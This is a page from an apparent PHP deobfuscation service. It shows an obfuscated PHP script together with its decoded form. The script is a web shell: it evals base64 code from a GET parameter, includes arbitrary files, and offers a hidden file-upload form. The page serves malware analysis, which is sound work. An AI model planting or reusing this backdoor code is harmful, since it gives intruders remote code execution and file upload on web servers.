Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); ${"GL\x4f\x42\x41LS"}["dx\x70\x67gw\x65\x6dd"] = "e\x76"..
Decoded Output download
<?php
error_reporting(0);
${"GLOBALS"}["dxpggwemd"] = "ev";
$kiejpi = "ev";
$imivhcblfl = "in";
$hgrptjcx = "in";
${"GLOBALS"}["ysfombthhq"] = "in";
${$imivhcblfl} = $_GET["in"];
if (isset(${${"GLOBALS"}["ysfombthhq"]}) && !empty(${$hgrptjcx})) {
echo @eval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=="));
}
${$kiejpi} = $_GET["ev"];
if (isset(${${"GLOBALS"}["dxpggwemd"]}) && !empty(${${"GLOBALS"}["dxpggwemd"]})) {
eval(base64_decode(${${"GLOBALS"}["dxpggwemd"]}));
exit();
}
if ($_GET["send"] == "ok") {
echo "<form action=\"\" method="post\" enctype=\"multipart/form-data" name=\"country" id=\"country"><input type="file" name="file\" size="50\"><input name="_con" type=\"submit" id="_con" value=\"home"></form> ";
if ($_POST["_con"] == "home") {
if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {
echo "done :d";
} else {
echo "error";
}
}
exit();
}
?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
${"GL\x4f\x42\x41LS"}["dx\x70\x67gw\x65\x6dd"] = "e\x76";
$kiejpi = "\x65v";
$imivhcblfl = "\x69\x6e";
$hgrptjcx = "\x69n";
${"\x47L\x4f\x42\x41\x4cS"}["\x79\x73\x66\x6f\x6d\x62\x74hh\x71"] = "\x69n";
${$imivhcblfl} = $_GET["i\x6e"];
if (isset(${${"\x47L\x4f\x42A\x4c\x53"}["\x79\x73\x66o\x6d\x62th\x68\x71"]}) && !empty(${$hgrptjcx})) {
echo @eval(base64_decode("ZGl\x6cK\x47l\x75Y2\x781ZG\x56fb2\x35\x6a\x5a\x53A\x6b\x61W4\x70\x4fw\x3d="));
}
${$kiejpi} = $_GET["e\x76"];
if (isset(${${"G\x4c\x4f\x42A\x4cS"}["\x64\x78\x70\x67\x67\x77e\x6d\x64"]}) && !empty(${${"\x47\x4c\x4fBA\x4c\x53"}["\x64\x78\x70\x67\x67\x77\x65\x6d\x64"]})) {
eval(base64_decode(${${"GL\x4fB\x41LS"}["\x64x\x70\x67\x67w\x65\x6d\x64"]}));
exit();
}
if ($_GET["\x73\x65n\x64"] == "\x6fk") {
echo "<fo\x72\x6d\x20act\x69on\x3d\"\" \x6d\x65t\x68\x6f\x64=\x22pos\x74\" encty\x70\x65=\"\x6d\x75\x6ct\x69pa\x72\x74/\x66\x6f\x72\x6d-da\x74\x61\x22 n\x61\x6d\x65\x3d\"c\x6f\x75n\x74\x72y\x22\x20i\x64\x3d\"c\x6f\x75ntr\x79\x22>\x3c\x69\x6e\x70\x75t \x74ype\x3d\x22file\x22\x20nam\x65=\x22\x66\x69\x6c\x65\"\x20s\x69z\x65=\x22\x350\">\x3c\x69\x6ep\x75\x74 \x6eam\x65=\x22\x5fc\x6f\x6e\x22\x20typ\x65\x3d\"su\x62\x6di\x74\x22\x20i\x64=\x22\x5fco\x6e\x22 v\x61\x6c\x75\x65\x3d\"\x68o\x6de\x22></\x66orm>\x20";
if ($_POST["_c\x6f\x6e"] == "\x68\x6fme") {
if (@copy($_FILES["\x66ile"]["\x74mp\x5f\x6e\x61me"], $_FILES["f\x69\x6c\x65"]["n\x61m\x65"])) {
echo "done\x20:\x64";
} else {
echo "\x65rr\x6fr";
}
}
exit();
}
Function Calls
error_reporting | 1 |
Stats
MD5 | dfbd7114ad73236467bf34100cc0ad33 |
Eval Count | 0 |
Decode Time | 54 ms |